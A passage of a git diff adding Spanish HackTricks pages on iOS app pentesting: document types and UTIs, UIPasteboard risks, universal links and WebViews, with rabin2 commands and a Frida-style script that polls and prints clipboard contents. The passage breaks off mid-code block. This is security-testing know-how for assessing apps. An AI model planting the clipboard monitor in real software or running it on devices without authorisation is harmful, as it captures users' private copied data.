* si la aplicación especifica algún _**tipo de documento que puede abrir**_ mirando en los Tipos de documento ("Información" en el proyecto Xcode). Si está presente, consisten en un nombre y uno o más UTI que representan el tipo de datos (por ejemplo, "public.png" para archivos PNG). iOS utiliza esto para determinar si la aplicación es elegible para abrir un documento determinado (especificar UTI exportados/importados no es suficiente).
|
||||
* si la aplicación verifica adecuadamente los datos recibidos mirando en la implementación de [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc) (o su versión obsoleta [`UIApplicationDelegate application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application?language=objc)) en el delegado de la aplicación.
|
||||
|
||||
Si no tienes el código fuente, aún puedes echar un vistazo al archivo `Info.plist` y buscar:
|
||||
|
||||
* `UTExportedTypeDeclarations`/`UTImportedTypeDeclarations` si la aplicación declara tipos de documentos personalizados exportados/importados.
|
||||
* `CFBundleDocumentTypes` para ver si la aplicación especifica algún tipo de documento que puede abrir.
|
||||
|
||||
Una explicación muy completa sobre el uso de estas claves se puede encontrar [en Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), pero aquí tienes un resumen:
|
||||
|
||||
* `UTExportedTypeDeclarations`: Úsalos para definir **tus propios UTI** que tu aplicación quiere enseñar al sistema en el que está instalado. Un **UTI describe un fragmento de datos** (_¡no necesariamente datos ubicados dentro de un archivo!_) y requiere al menos un **identificador** (`com.example.MyCoolDataType`). Además, puede tener un **nombre** (`Mi tipo de datos genial`), una o más **extensiones de nombre de archivo** (`.myCoolDataType`), uno o más **tipos MIME** (`x-application/my-cool-data-type`), uno o más **tipos de portapapeles** (usados cuando se transfieren datos de ese tipo usando copiar y pegar), y uno o más **tipos de sistema operativo heredados**. Por lo general, también deseas que los UTI se ajusten a los UTI existentes (por ejemplo, cuando dices que tu UTI se ajusta a `public.data`, cualquier proceso que pueda manejar datos genéricos también puede manejar tu UTI).
|
||||
* por ejemplo: Definir tu propio formato de datos de archivo patentado y quieres que este formato de datos sea conocido también por otras aplicaciones, complementos, extensiones, etc.
|
||||
* `UTImportedTypeDeclarations`: Usas `UTImportedTypeDeclarations` para **enseñar al sistema sobre UTI que deseas que se conozcan en el sistema pero que no son tus UTI**.
|
||||
* por ejemplo: Tu aplicación puede leer el formato de datos patentado de otra aplicación, pero no sabes si esa aplicación está instalada en el sistema.
|
||||
* `CFBundleDocumentTypes`: Usas `CFBundleDocumentTypes` para decirle al sistema qué tipos de documentos puede abrir tu aplicación. A menos que **también listes tus UTI aquí**, estos UTI no están asociados con tu aplicación en Finder y tu aplicación no aparecerá en el menú `Abrir con >`. \
|
||||
Lo único que siempre debes establecer para un tipo de documento es el rol. El **rol** puede ser "**Visor**" (puedes mostrar ese tipo de archivo pero no puedes editarlo), "**Editor**" (puedes mostrar y editar ese tipo de archivo), "**Ninguno**" (no se especifica lo que puedes hacer con ese archivo).
|
||||
* por ejemplo: Quieres que tu **aplicación se asocie con ciertos tipos de archivo**, identificados ya sea por extensión, por tipo MIME o por identificador UTI. **Si deseas que tu aplicación se asocie con un tipo de UTI, la aplicación debe importar o exportar el tipo**, de lo contrario, el tipo puede no ser conocido por el sistema y registrarse en un tipo de UTI desconocido no tiene ningún efecto en absoluto.
|
||||
|
||||
## Pruebas dinámicas
|
||||
|
||||
Para **enviar actividades** puedes:
|
||||
|
||||
* Enganchar el método que hemos visto en el análisis estático ([`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init)) para obtener los `activityItems` y `applicationActivities`.
|
||||
* Descubrir las actividades excluidas enganchando la propiedad [`excludedActivityTypes`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622009-excludedactivitytypes).
|
||||
|
||||
Para recibir elementos puedes:
|
||||
|
||||
* _Compartir_ un archivo con la aplicación desde otra aplicación o enviarlo por AirDrop o correo electrónico. Elije el archivo para que desencadene el diálogo "Abrir con..." (es decir, no hay una aplicación predeterminada que abra el archivo, un PDF, por ejemplo).
|
||||
* Enganchar `application:openURL:options:` y cualquier otro método que se haya identificado en un análisis estático anterior.
|
||||
* Observar el comportamiento de la aplicación.
|
||||
* Además, podrías enviar archivos específicos malformados y/o usar una técnica de fuzzing.
|
||||
|
||||
**Lee cómo hacerlo** [**aquí**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#dynamic-analysis-8)**.**
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿o quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
109
mobile-pentesting/ios-pentesting/ios-uipasteboard.md
Normal file
109
mobile-pentesting/ios-pentesting/ios-uipasteboard.md
Normal file
|
@ -0,0 +1,109 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
El [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) permite compartir datos dentro de una aplicación y desde una aplicación a otras aplicaciones. Hay dos tipos de portapapeles:
|
||||
|
||||
* **portapapeles general de todo el sistema**: para compartir datos con **cualquier aplicación**. Persistente por defecto en reinicios de dispositivo y desinstalaciones de aplicaciones (desde iOS 10).
|
||||
* **portapapeles personalizado / con nombre**: para compartir datos **con otra aplicación** (que tenga el mismo ID de equipo que la aplicación que comparte) o con la **propia aplicación** (solo están disponibles en el proceso que los crea). No persistentes por defecto (desde iOS 10), es decir, solo existen hasta que la aplicación propietaria (creadora) se cierra.
|
||||
|
||||
Algunas consideraciones de seguridad:
|
||||
|
||||
* Los usuarios **no pueden otorgar ni denegar permiso** para que las aplicaciones lean el **portapapeles**.
|
||||
* Desde iOS 9, las aplicaciones [no pueden acceder al portapapeles mientras están en segundo plano](https://forums.developer.apple.com/thread/13760), lo que mitiga la monitorización del portapapeles en segundo plano.
|
||||
* [Apple advierte sobre los portapapeles personalizados persistentes](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc) y **desaconseja su uso**. En su lugar, se deben utilizar contenedores compartidos.
|
||||
* A partir de iOS 10, hay una nueva función de Handoff llamada **Portapapeles universal** que está habilitada de forma predeterminada. Permite que el **contenido del portapapeles general se transfiera automáticamente entre dispositivos**. Esta función se puede desactivar si el desarrollador decide hacerlo y también es posible establecer una fecha y hora de caducidad para los datos copiados.
|
||||
|
||||
Por lo tanto, es importante **verificar que no se está guardando información sensible dentro del portapapeles general**.\
|
||||
También es importante verificar que una **aplicación no está utilizando los datos del portapapeles general para realizar acciones**, ya que una aplicación malintencionada podría manipular estos datos.
|
||||
|
||||
Una **aplicación también puede evitar que sus usuarios copien datos sensibles al portapapeles** (lo que se recomienda).
|
||||
|
||||
## Análisis estático
|
||||
|
||||
El **portapapeles general de todo el sistema** se puede obtener utilizando [`generalPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard/1622106-generalpasteboard?language=objc), buscar en el código fuente o en el binario compilado para encontrar este método. Se debe evitar el uso del portapapeles general de todo el sistema al tratar con datos sensibles.
|
||||
|
||||
Se pueden crear **portapapeles personalizados** con [`pasteboardWithName:create:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622074-pasteboardwithname?language=objc) o [`pasteboardWithUniqueName`](https://developer.apple.com/documentation/uikit/uipasteboard/1622087-pasteboardwithuniquename?language=objc). Verificar si los portapapeles personalizados están configurados para ser persistentes, ya que esto está obsoleto desde iOS 10. En su lugar, se debe utilizar un contenedor compartido.
|
||||
|
||||
## Análisis dinámico
|
||||
|
||||
Enganchar o rastrear lo siguiente:
|
||||
|
||||
* `generalPasteboard` para el portapapeles general de todo el sistema.
|
||||
* `pasteboardWithName:create:` y `pasteboardWithUniqueName` para portapapeles personalizados.
|
||||
|
||||
También se puede enganchar o rastrear el método obsoleto [`setPersistent:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622096-setpersistent?language=objc) y verificar si se está llamando.
|
||||
|
||||
Al **monitorizar** los **portapapeles**, hay varios **detalles** que se pueden obtener dinámicamente:
|
||||
|
||||
* Obtener el **nombre del portapapeles** enganchando `pasteboardWithName:create:` e inspeccionando sus parámetros de entrada o `pasteboardWithUniqueName` e inspeccionando su valor de retorno.
|
||||
* Obtener el **primer elemento disponible del portapapeles**: por ejemplo, para cadenas de texto, utilizar el método `string`. O utilizar cualquiera de los otros métodos para los [tipos de datos estándar](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#1654275).
|
||||
* Obtener el **número de elementos** con `numberOfItems`.
|
||||
* Verificar la **existencia de tipos de datos estándar** con los [métodos de conveniencia](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#2107142), por ejemplo, `hasImages`, `hasStrings`, `hasURLs` (a partir de iOS 10).
|
||||
* Verificar otros tipos de datos (típicamente UTIs) con [`containsPasteboardTypes:inItemSet:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622100-containspasteboardtypes?language=objc). Se pueden inspeccionar tipos de datos más concretos, como por ejemplo una imagen como public.png y public.tiff ([UTIs](http://web.archive.org/web/20190616231857/https://developer.apple.com/documentation/mobilecoreservices/uttype)) o datos personalizados como com.mycompany.myapp.mytype. Recuerda que, en este caso, solo aquellas aplicaciones que _declaren conocimiento_ del tipo pueden entender los datos escritos en el portapapeles. Se pueden recuperar utilizando [`itemSetWithPasteboardTypes:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622071-itemsetwithpasteboardtypes?language=objc) y estableciendo los UTIs correspondientes.
|
||||
* Verificar elementos excluidos o que caducan enganchando `setItems:options:` e inspeccionando sus opciones para `UIPasteboardOptionLocalOnly` o `UIPasteboardOptionExpirationDate`.
|
||||
|
||||
Si solo se buscan cadenas de texto, se puede utilizar el comando **objection** `ios pasteboard monitor`:
|
||||
|
||||
> Se engancha en la clase UIPasteboard de iOS y sondea el portapapeles general cada 5 segundos en busca de datos. Si se encuentra un nuevo dato, diferente al de la última consulta, se imprimirá en pantalla.
|
||||
|
||||
También se puede construir un monitor de portapapeles propio que monitorice información específica como se ha visto anteriormente.
|
||||
|
||||
Por ejemplo, este script (inspirado en el script detrás del monitor de portapapeles de [objection](https://github.com/sensepost/objection/blob/b39ee53b5ba2e9a271797d2f3931d79c46dccfdb/agent/src/ios/pasteboard.ts)) lee los elementos del portapapeles cada 5 segundos, si hay algo nuevo lo imprimirá:
|
||||
```javascript
|
||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
var items = "";
|
||||
var count = Pasteboard.changeCount().toString();
|
||||
|
||||
setInterval(function () {
|
||||
const currentCount = Pasteboard.changeCount().toString();
|
||||
const currentItems = Pasteboard.items().toString();
|
||||
|
||||
if (currentCount === count) { return; }
|
||||
|
||||
items = currentItems;
|
||||
count = currentCount;
|
||||
|
||||
console.log('[* Pasteboard changed] count: ' + count +
|
||||
' hasStrings: ' + Pasteboard.hasStrings().toString() +
|
||||
' hasURLs: ' + Pasteboard.hasURLs().toString() +
|
||||
' hasImages: ' + Pasteboard.hasImages().toString());
|
||||
console.log(items);
|
||||
|
||||
}, 1000 * 5);
|
||||
```
|
||||
# Referencias
|
||||
|
||||
{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %}
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
121
mobile-pentesting/ios-pentesting/ios-universal-links.md
Normal file
121
mobile-pentesting/ios-pentesting/ios-universal-links.md
Normal file
|
@ -0,0 +1,121 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Los enlaces universales permiten **redirigir a los usuarios directamente** a la aplicación sin pasar por Safari para la redirección.\
|
||||
Los enlaces universales son **únicos**, por lo que no pueden ser reclamados por otras aplicaciones porque utilizan enlaces HTTP(S) estándar al **sitio web donde el propietario ha subido un archivo para asegurarse de que el sitio web y la aplicación están relacionados**.\
|
||||
Como estos enlaces utilizan esquemas HTTP(S), cuando la **aplicación no está instalada, Safari abrirá el enlace** redirigiendo a los usuarios a la página. Esto permite que las **aplicaciones se comuniquen con la aplicación incluso si no está instalada**.
|
||||
|
||||
Para crear enlaces universales es necesario **crear un archivo JSON llamado `apple-app-site-association`** con los detalles. Luego, este archivo debe ser **alojado en el directorio raíz de su servidor web** (por ejemplo, [https://google.com/apple-app-site-association](https://google.com/apple-app-site-association)).\
|
||||
Para el pentester, este archivo es muy interesante ya que **revela rutas**. Incluso puede estar revelando rutas de versiones que aún no se han publicado.
|
||||
|
||||
## **Comprobación de la autorización de dominios asociados**
|
||||
|
||||
En Xcode, vaya a la pestaña **Capabilities** y busque **Associated Domains**. También puede inspeccionar el archivo `.entitlements` buscando `com.apple.developer.associated-domains`. Cada uno de los dominios debe tener el prefijo `applinks:`, como `applinks:www.mywebsite.com`.
|
||||
|
||||
Aquí hay un ejemplo del archivo `.entitlements` de Telegram:
|
||||
```markup
|
||||
<key>com.apple.developer.associated-domains</key>
|
||||
<array>
|
||||
<string>applinks:telegram.me</string>
|
||||
<string>applinks:t.me</string>
|
||||
</array>
|
||||
```
|
||||
Se puede encontrar información más detallada en la [Documentación de Desarrolladores de Apple archivada](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||
|
||||
Si solo tienes la aplicación compilada, puedes extraer los entitlements siguiendo esta guía:
|
||||
|
||||
{% content-ref url="extracting-entitlements-from-compiled-application.md" %}
|
||||
[extracting-entitlements-from-compiled-application.md](extracting-entitlements-from-compiled-application.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Recuperando el archivo de asociación de sitio de la aplicación de Apple**
|
||||
|
||||
Intenta recuperar el archivo `apple-app-site-association` del servidor utilizando los dominios asociados que obtuviste en el paso anterior. Este archivo debe ser accesible a través de HTTPS, sin redireccionamientos, en `https://<dominio>/apple-app-site-association` o `https://<dominio>/.well-known/apple-app-site-association`.
|
||||
|
||||
Puedes recuperarlo tú mismo con tu navegador o utilizar el [Validador de Asociación de Sitio de Aplicación de Apple (AASA)](https://branch.io/resources/aasa-validator/).
|
||||
|
||||
## **Comprobando el Método Receptor de Enlaces**
|
||||
|
||||
Para recibir enlaces y manejarlos adecuadamente, el delegado de la aplicación debe implementar [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Si tienes el proyecto original, intenta buscar este método.
|
||||
|
||||
Ten en cuenta que si la aplicación utiliza [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) para abrir un enlace universal al sitio web de la aplicación, el enlace no se abrirá en la aplicación. Como la llamada se origina desde la aplicación, no se manejará como un enlace universal.
|
||||
|
||||
* El esquema de `webpageURL` debe ser HTTP o HTTPS (cualquier otro esquema debería lanzar una excepción). La propiedad de instancia [`scheme`](https://developer.apple.com/documentation/foundation/urlcomponents/1779624-scheme) de `URLComponents` / `NSURLComponents` se puede utilizar para verificar esto.
|
||||
|
||||
## **Comprobando el Método Manejador de Datos**
|
||||
|
||||
Cuando iOS abre una aplicación como resultado de un enlace universal, la aplicación recibe un objeto `NSUserActivity` con un valor de `activityType` de `NSUserActivityTypeBrowsingWeb`. La propiedad `webpageURL` del objeto de actividad contiene la URL HTTP o HTTPS a la que accede el usuario. El siguiente ejemplo en Swift verifica exactamente esto antes de abrir la URL:
|
||||
```swift
|
||||
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
||||
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
||||
// ...
|
||||
if userActivity.activityType == NSUserActivityTypeBrowsingWeb, let url = userActivity.webpageURL {
|
||||
application.open(url, options: [:], completionHandler: nil)
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
```
|
||||
Además, recuerda que si la URL incluye parámetros, no se deben confiar en ellos antes de ser cuidadosamente saneados y validados (incluso cuando provienen de un dominio de confianza). Por ejemplo, podrían haber sido falsificados por un atacante o podrían incluir datos malformados. Si ese es el caso, toda la URL y, por lo tanto, la solicitud de enlace universal deben ser descartados.
|
||||
|
||||
La API `NSURLComponents` se puede utilizar para analizar y manipular los componentes de la URL. Esto también puede ser parte del método `application:continueUserActivity:restorationHandler:` en sí mismo o puede ocurrir en un método separado que se llama desde él. El siguiente [ejemplo](https://developer.apple.com/documentation/uikit/core\_app/allowing\_apps\_and\_websites\_to\_link\_to\_your\_content/handling\_universal\_links#3001935) lo demuestra:
|
||||
```swift
|
||||
func application(_ application: UIApplication,
|
||||
continue userActivity: NSUserActivity,
|
||||
restorationHandler: @escaping ([Any]?) -> Void) -> Bool {
|
||||
guard userActivity.activityType == NSUserActivityTypeBrowsingWeb,
|
||||
let incomingURL = userActivity.webpageURL,
|
||||
let components = NSURLComponents(url: incomingURL, resolvingAgainstBaseURL: true),
|
||||
let path = components.path,
|
||||
let params = components.queryItems else {
|
||||
return false
|
||||
}
|
||||
|
||||
if let albumName = params.first(where: { $0.name == "albumname" })?.value,
|
||||
let photoIndex = params.first(where: { $0.name == "index" })?.value {
|
||||
// Interact with album name and photo index
|
||||
|
||||
return true
|
||||
|
||||
} else {
|
||||
// Handle when album and/or album name or photo index missing
|
||||
|
||||
return false
|
||||
}
|
||||
}
|
||||
```
|
||||
# Referencias
|
||||
|
||||
{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %}
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
376
mobile-pentesting/ios-pentesting/ios-webviews.md
Normal file
376
mobile-pentesting/ios-pentesting/ios-webviews.md
Normal file
|
@ -0,0 +1,376 @@
|
|||
es obsoleto a partir de iOS 12 y no debería ser utilizado. No se puede desactivar JavaScript.
|
||||
|
||||
**WKWebView**: Es la opción adecuada para extender la funcionalidad de la aplicación y controlar el contenido mostrado. JavaScript está habilitado por defecto, pero gracias a la propiedad `javaScriptEnabled` de `WKWebView`, se puede desactivar completamente, evitando todas las vulnerabilidades de inyección de script. La propiedad `JavaScriptCanOpenWindowsAutomatically` se puede utilizar para evitar que JavaScript abra nuevas ventanas, como pop-ups. La propiedad `hasOnlySecureContent` se puede utilizar para verificar que los recursos cargados por el WebView se recuperan a través de conexiones cifradas. `WKWebView` implementa el renderizado fuera de proceso, por lo que los errores de corrupción de memoria no afectarán al proceso principal de la aplicación.
|
||||
|
||||
**SFSafariViewController**: Debe ser utilizado para proporcionar una experiencia de visualización web generalizada. Estos WebViews se pueden identificar fácilmente ya que tienen un diseño característico que incluye los siguientes elementos:
|
||||
|
||||
- Un campo de dirección de solo lectura con un indicador de seguridad.
|
||||
- Un botón de acción ("Compartir").
|
||||
- Un botón "Hecho", botones de navegación hacia atrás y hacia adelante, y un botón "Safari" para abrir la página directamente en Safari.
|
||||
|
||||
JavaScript no se puede desactivar en `SFSafariViewController` y esta es una de las razones por las que se recomienda el uso de `WKWebView` cuando el objetivo es extender la interfaz de usuario de la aplicación. `SFSafariViewController` también comparte cookies y otros datos del sitio web con Safari. La actividad y la interacción del usuario con un `SFSafariViewController` no son visibles para la aplicación, que no puede acceder a los datos de AutoFill, el historial de navegación ni los datos del sitio web. Según las Pautas de revisión de la App Store, los `SFSafariViewController` no pueden estar ocultos u oscurecidos por otras vistas o capas.
|
||||
|
||||
## Descubriendo la configuración de WebViews
|
||||
|
||||
### Análisis estático
|
||||
|
||||
**UIWebView**
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
||||
489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView
|
||||
896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView
|
||||
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
|
||||
```
|
||||
**WKWebView**
|
||||
|
||||
WKWebView es una clase de iOS que permite mostrar contenido web en una aplicación. Es una alternativa más moderna y segura a UIWebView. WKWebView utiliza el motor de renderizado WebKit y proporciona una API más rica para interactuar con el contenido web.
|
||||
|
||||
Algunas de las características de WKWebView son:
|
||||
|
||||
- Soporte para JavaScript y HTML5.
|
||||
- Comunicación bidireccional entre la aplicación y el contenido web mediante mensajes.
|
||||
- Posibilidad de personalizar la apariencia del contenido web mediante CSS.
|
||||
- Soporte para la carga de contenido web desde una URL o desde un archivo local.
|
||||
- Posibilidad de interceptar y modificar las solicitudes de red realizadas por el contenido web.
|
||||
|
||||
En el contexto de la seguridad, es importante tener en cuenta que WKWebView puede ser vulnerable a ataques de Cross-Site Scripting (XSS) si no se toman las medidas adecuadas para validar y escapar los datos de entrada. Además, WKWebView puede filtrar información sensible, como cookies y tokens de autenticación, si no se configura correctamente.
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||||
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
|
||||
625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView
|
||||
904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView
|
||||
1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView
|
||||
```
|
||||
Alternativamente, también puedes buscar los métodos conocidos de estas clases WebView. Por ejemplo, busca el método utilizado para inicializar un WKWebView ([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)):
|
||||
```bash
|
||||
